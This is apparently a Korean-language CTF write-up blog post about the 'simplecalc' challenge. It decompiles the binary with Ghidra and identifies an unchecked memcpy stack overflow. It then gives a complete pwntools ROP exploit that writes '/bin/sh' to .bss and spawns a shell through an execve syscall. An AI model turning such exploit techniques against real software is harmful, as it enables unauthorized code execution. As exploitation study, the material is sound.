2022. 3. 27. 17:43ㆍCTF Write Up 보고 공부/NightMare
프로그램을 실행하면 위와 같은 창이 실행됩니다.
3을 입력하니 허용되지 않는 숫자라고 뜹니다.
30을 입력하니 메뉴가 출력됩니다.
곱셈, 뺄셈, 곱셈, 나눗셈, 종료 버튼이 존재합니다.
1번을 누르면 2개의 값을 입력할 수 있습니다.
작은 값을 입력하니 위와 같은 문자열이 출력된 후 프로그램이 종료됩니다.
100을 두 번 입력하니 덧셈 결과가 출력됩니다.
먼저 Ghidra를 통해 코드를 확인해보겠습니다.
int main(void)
{
undefined vulnbuf [40];
int select;
int size;
void *ptr;
int i;
size = 0;
setvbuf((FILE *)stdin,(char *)0x0,2,0);
setvbuf((FILE *)stdout,(char *)0x0,2,0);
print_motd();
printf("Expected number of calculations: ");
__isoc99_scanf("%d",&size);
handle_newline();
if ((size < 0x100) && (3 < size)) {
ptr = malloc((long)(size << 2));
for (i = 0; i < size; i = i + 1) {
print_menu();
__isoc99_scanf("%d",&select);
handle_newline();
if (select == 1) {
adds();
*(undefined4 *)((long)i * 4 + (long)ptr) = add._8_4_;
}
else if (select == 2) {
subs();
*(undefined4 *)((long)i * 4 + (long)ptr) = sub._8_4_;
}
else if (select == 3) {
muls();
*(undefined4 *)((long)i * 4 + (long)ptr) = mul._8_4_;
}
else if (select == 4) {
divs();
*(undefined4 *)((long)i * 4 + (long)ptr) = divv._8_4_;
}
else {
if (select == 5) {
memcpy(vulnbuf,ptr,(long)(size << 2));
free(ptr);
return 0;
}
puts("Invalid option.\n");
}
}
free(ptr);
}
else {
puts("Invalid number.");
}
return 0;
}
처음 숫자를 입력받는데 해당 숫자가 3 초과 0x100 미만이면 통과합니다.
그 후 해당 숫자 * 4의 크기의 동적 할당을 합니다.
그다음 메뉴가 출력된 후 입력 값에 따라 함수를 실행합니다.
주의 깊게 봐야 할 부분은 5를 입력했을 때로 memcpy를 통해 ptr이 가리키는 공간에 있는 데이터를 vulnbuf로 복사합니다. 이때 길이에 대한 검증이 없어 BOF가 일어날 수 있습니다.
ptr이 가리키는 공간에 어떤 데이터를 저장되는지는 add 함수와 함께 설명하겠습니다.
void adds(void)
{
printf("Integer x: ");
__isoc99_scanf("%d",add);
handle_newline();
printf("Integer y: ");
__isoc99_scanf("%d",0x6c4a84);
handle_newline();
if ((0x27 < add._0_4_) && (0x27 < add._4_4_)) {
add._8_4_ = add._4_4_ + add._0_4_;
printf("Result for x + y is %d.\n\n",(ulong)add._8_4_);
return;
}
puts("Do you really need help calculating such small numbers?\nShame on you... Bye");
/* WARNING: Subroutine does not return */
exit(-1);
}
먼저 사용자가 두 개의 값을 입력합니다. 각각의 값이 0x27보다 크다면 더한 뒤 함수를 종료합니다.
함수가 종료된 뒤 main 함수에서는 해당 결과 값을 *(ptr + (4 * i))에 저장합니다.
이 부분을 잘 이용해서 해당 부분에 셸 코드나 기계어를 입력할 수 있습니다.
이번 문제는 NX bit가 활성화되어 있어 셸 코드는 의미가 없습니다. 또한 정적 링킹이 되어 있어 system 함수가 존재하지 않습니다. 그래서 시스템 콜 인터럽트를 이용해 execve를 실행시켜서 셸을 실행시키는 이번 문제의 핵심입니다.
bss 영역에 /bin/sh를 입력하고 시스템 콜 인터럽트를 하기 위한 가젯들입니다.
코드에서 맨 처음 9번 반복할 때 0을 넣은 이유는 만약 0이 아닌 다른 값을 넣으면 memcpy 후 free 함수가 실행될 때
변조된 포인터 변수 때문에 강제 종료될 수 있기 때문입니다.
코드와 결과는 아래와 같습니다.
from pwn import *
context.log_level = 'debug'
r = process('./simplecalc')
pop_rax = 0x000000000044db34
pop_rdi = 0x0000000000401b73
pop_rsi = 0x0000000000401c87
pop_rdx = 0x0000000000437a85
mov_dtoa = 0x000000000044526e
syscall = 0x0000000000400488
def add(val) :
x = 0xffffffff & val
y = ((0xffffffff00000000 & val) >> 32)
addSingle(x)
addSingle(y)
def addSingle(val) :
r.sendlineafter("=> ", "1")
r.sendlineafter("x: ", "100")
r.sendlineafter("y: ", str(val - 100))
# gdb.attach(r)
r.sendline("200")
# RET전까지 채우기
# RBP - 0x40 + SFP 8byte
for _ in range(9) :
add(0x0)
# "/bin/sh" bss 영역에 저장
add(pop_rax)
add(0x6c0000)
add(pop_rdx)
add(0x0068732f6e69622f)
add(mov_dtoa)
# execve("/bin/sh", 0, 0)
add(pop_rax)
add(59)
add(pop_rdi)
add(0x6c0000)
add(pop_rsi)
add(0)
add(pop_rdx)
add(0)
add(syscall)
r.sendlineafter("=> ", "5")
r.interactive()
'CTF Write Up 보고 공부 > NightMare' 카테고리의 다른 글
speedrun-001(static linking) (0) | 2022.03.27 |
---|